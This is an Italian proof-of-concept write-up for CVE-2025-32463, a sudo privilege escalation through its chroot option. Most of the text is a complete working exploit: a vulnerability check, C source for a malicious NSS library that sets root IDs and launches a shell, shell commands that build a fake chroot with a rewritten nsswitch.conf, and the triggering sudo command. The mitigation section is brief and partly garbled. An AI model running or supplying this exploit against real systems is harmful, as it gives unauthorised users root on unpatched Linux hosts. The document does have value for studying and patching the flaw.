
Un exploit PoC per CVE-2025-32463 - Escalation dei privilegi in Sudo
Una vulnerabilità di escalation dei privilegi esiste in sudo e interessa i sistemi basati su Linux/Unix. Il difetto deriva da una convalida impropria dei percorsi quando sudo viene utilizzato con l'opzione -R (--chroot), consentendo agli attaccanti di escalare a root tramite il caricamento di una libreria NSS maliziosa.
sudo esegue un comando all'interno di un ambiente chroot (opzione -R), gestisce in modo errato il caricamento delle librerie NSS (Name Service Switch) durante le condizioni di errore.LD_LIBRARY_PATH o dei percorsi in /etc/nsswitch.conf) può portare al caricamento di una libreria maliziosa al posto della legittima libreria NSS (ad esempio, libnss_files.so).sudo all'ultima versione patchata.sudo (limitare l'uso di chroot dove possibile).LD_LIBRARY_PATH./etc/nsswitch.conf.secure_path in /etc/sudoers per limitare i percorsi di ricerca delle librerie.| Componente | Trigger della Vulnerabilità |
|---|---|
sudo -R | Convalida errata del percorso chroot. |
| NSS | Caricamento non sicuro delle librerie durante gli errori. |
| Exploit | Hijacking del percorso → Caricamento di libreria maliziosa. |
ID CVE: CVE-2025-32463
Versioni Affette: Sudo 1.9.14 fino a 1.9.17
Punteggio CVSS: 9.8 (Critico)
Impatto: Escalation locale dei privilegi a root
Se risponde con No such file or directory allora è vulnerabile:
sudo -R invalid invalid
sudo: invalid: No such file or directory
Per prima cosa, creiamo una directory temporanea in cui lavorare:
TMP_DIR=$(mktemp -d -t sudobridge.XXXXXX) cd $TMP_DIR
Questo crea una directory temporanea con nome univoco e vi accede. Il comando mktemp garantisce di non interferire con i file di sistema esistenti.
Dobbiamo creare un file C (bridge90.c) che verrà compilato in una libreria maliziosa:
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void bridge(void) {
setreuid(0,0); // Set real and effective user ID to root
setregid(0,0); // Set real and effective group ID to root
chdir("/"); // Change to root directory
execl("/bin/sh", "sh", "-c", "/bin/bash", NULL); // Execute shell
}
Componenti chiave:
__attribute__((constructor)) garantisce che la funzione venga eseguita quando la libreria viene caricata
setreuid e setregid escalano i privilegi a root
execl avvia una shell bash
mkdir -p bridge/etc echo "passwd: /bridge90" > bridge/etc/nsswitch.conf cp /etc/group bridge/etc/ mkdir libnss_ gcc -shared -fPIC -Wl,-init,bridge -o libnss_/bridge90.so.2 bridge90.c
Spiegazione:
Crea un falso ambiente chroot in bridge/etc
Modifica nsswitch.conf per puntare al nostro percorso malizioso
Copia il file /etc/group reale per mantenere la legittimità
Crea una directory per la nostra libreria maliziosa
Compila il codice C in una libreria condivisa denominata secondo le convenzioni NSS (Name Service Switch)
sudo -R bridge bridge
Questo comando tenta di utilizzare il nostro ambiente predisposto:
Il primo bridge è la directory chroot contenente la nostra configurazione maliziosa
Il secondo bridge è il comando da eseguire (che caricherà la nostra libreria)
Dopo lo sfruttamento riuscito, verifica l'accesso root:
whoami # Dovrebbe restituire "root"
id -u # Dovrebbe restituire "0" (l'UID di root)
graph LR
A[Malicious Library] --> B[Fake Chroot]
B --> C[Trigger Error]
C --> D[Library Load]
D --> E[Root Execution]
Questo exploit PoC è solo a scopo educativo! Non sono responsabile per qualsiasi uso improprio che tu possa fare di questo exploit!